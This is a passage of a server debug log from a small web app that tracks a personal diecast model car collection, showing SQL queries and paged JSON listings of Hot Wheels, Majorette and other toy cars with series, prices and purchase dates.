  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2025-12-16T04:32:14.382Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2025-12-16T04:32:14.382Z server-connect:app Executing action step select
2025-12-16T04:32:14.382Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-16T04:32:14.384Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2025-12-16T04:32:14.384Z server-connect:app Executing action step select
2025-12-16T04:32:14.384Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-16T04:32:14.385Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-16T04:32:14.386Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2025-12-16T04:32:18.202Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-16T04:32:18.202Z server-connect:app Executing action step identify
2025-12-16T04:32:18.202Z server-connect:app options: { provider: 'security' }
2025-12-16T04:32:18.202Z server-connect:output identity: 1
2025-12-16T04:32:18.202Z server-connect:app Executing action step restrict
2025-12-16T04:32:18.202Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:32:18.203Z server-connect:output restrict: undefined
2025-12-16T04:32:18.203Z server-connect:app Executing action step paged
2025-12-16T04:32:18.203Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-16T04:32:18.205Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 68,
      model_name: 'McLaren MCL38 No.4 Lando Norris Formula 1 ',
      release_year: 2024,
      scale: '1:43',
      has_real_car: 0,
      purchase_date: '2025-08-31T18:30:00.000Z',
      price: '1500.00',
      brand: 'Bburago',
      series: 'Mainline',
      brand_id: 74,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'McLaren',
      vehicle_brand_id: 114,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-16T04:32:20.046Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-16T04:32:20.047Z server-connect:app Executing action step identify
2025-12-16T04:32:20.047Z server-connect:app options: { provider: 'security' }
2025-12-16T04:32:20.047Z server-connect:output identity: 1
2025-12-16T04:32:20.047Z server-connect:app Executing action step restrict
2025-12-16T04:32:20.047Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:32:20.047Z server-connect:output restrict: undefined
2025-12-16T04:32:20.047Z server-connect:app Executing action step paged
2025-12-16T04:32:20.047Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-16T04:32:20.049Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 3,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-16T04:32:21.970Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-16T04:32:21.971Z server-connect:app Executing action step identify
2025-12-16T04:32:21.971Z server-connect:app options: { provider: 'security' }
2025-12-16T04:32:21.971Z server-connect:output identity: 1
2025-12-16T04:32:21.971Z server-connect:app Executing action step restrict
2025-12-16T04:32:21.971Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:32:21.971Z server-connect:output restrict: undefined
2025-12-16T04:32:21.972Z server-connect:app Executing action step paged
2025-12-16T04:32:21.972Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-16T04:32:21.975Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 68,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 102,
      model_name: 'Alfa Romeo Giulia TI Super',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 101,
      model_name: 'Ford Mustang-E 1400',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 99,
      model_name: 'Polestar TRX',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 98,
      model_name: 'Peugeot 9X8 Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
